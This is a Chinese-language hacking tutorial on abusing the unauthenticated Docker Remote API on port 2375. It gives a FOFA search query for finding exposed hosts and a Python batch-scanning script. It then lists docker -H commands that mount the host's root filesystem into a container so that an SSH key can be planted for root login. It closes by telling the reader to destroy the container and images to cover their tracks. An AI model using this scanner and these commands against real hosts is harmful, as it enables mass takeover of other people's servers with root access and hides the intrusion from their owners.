前言
Docker是一个开源的应用容器引擎,让开发者可以打包应用及依赖包到一个轻量级、可移植的容器中,然后发布到Linux机器上,也可以实现虚拟化。
Docker Swarm是Docker的集群管理工具,提供了标准的Docker API。在使用Docker Swarm的时候,管理的Docker节点上会开放一个TCP端口2375,绑定在 0.0.0.0上,直接通过HTTP访问会返回404 Not Found
,但是可以通过该API执行Docker命令,例如创建/删除container、拉取image、读写宿主机文件等。
漏洞探测
fofa: port=2375 && protocol=="docker"
直接访问/containers/json
,如果响应为200并且返回了json数据,则大概率漏洞存在。
贴一个批量验证脚本:
import requests
with open('urls.txt', 'r', encoding='utf-8') as f:
urls = f.readlines()
for url in urls:
url = f'http://{url.strip()}:2375/containers/json'
try:
resp = requests.get(url)
if resp.status_code == 200 and resp.json():
print(url, 'success')
except Exception as e:
pass
漏洞利用
对于可能存在漏洞的主机,可以通过docker命令来进一步验证:
docker -H tcp://<target_ip>:2375 images
如果成功返回了docker的镜像信息,则说明漏洞存在。
现在就可以通过docker容器来实现对宿主机的getshell了,思路是:因为docker默认都需要root权限启动,所以可以通过启动一个容器,将宿主机的根目录挂载到容器内,在容器内向宿主机的root目录下写入ssh公钥,即可实现免密码登录宿主机。
具体操作如下:
1、查看可以利用的镜像
docker -H tcp://<target_ip>:2375 images
比如这里可以利用ubuntu:18.04
这个镜像,如果当前宿主机内没有可以利用的镜像,也可以直接拖一个新的镜像:
docker -H tcp://<target_ip>:2375 pull ubuntu:20.04
2、启动容器并挂载宿主机目录
docker -H tcp://<target_ip>:2375 run -it -v /:/mnt f9a80a55f492 /bin/bash
此时宿主机的根目录就挂载在容器内的/mnt
目录下。
3、向宿主机的root目录写入ssh公钥
这时候就可以通过私钥来免密码登录宿主机了,并且是root权限。
清理痕迹
写入公钥之后,记得把容器销毁,并且删除新增的镜像!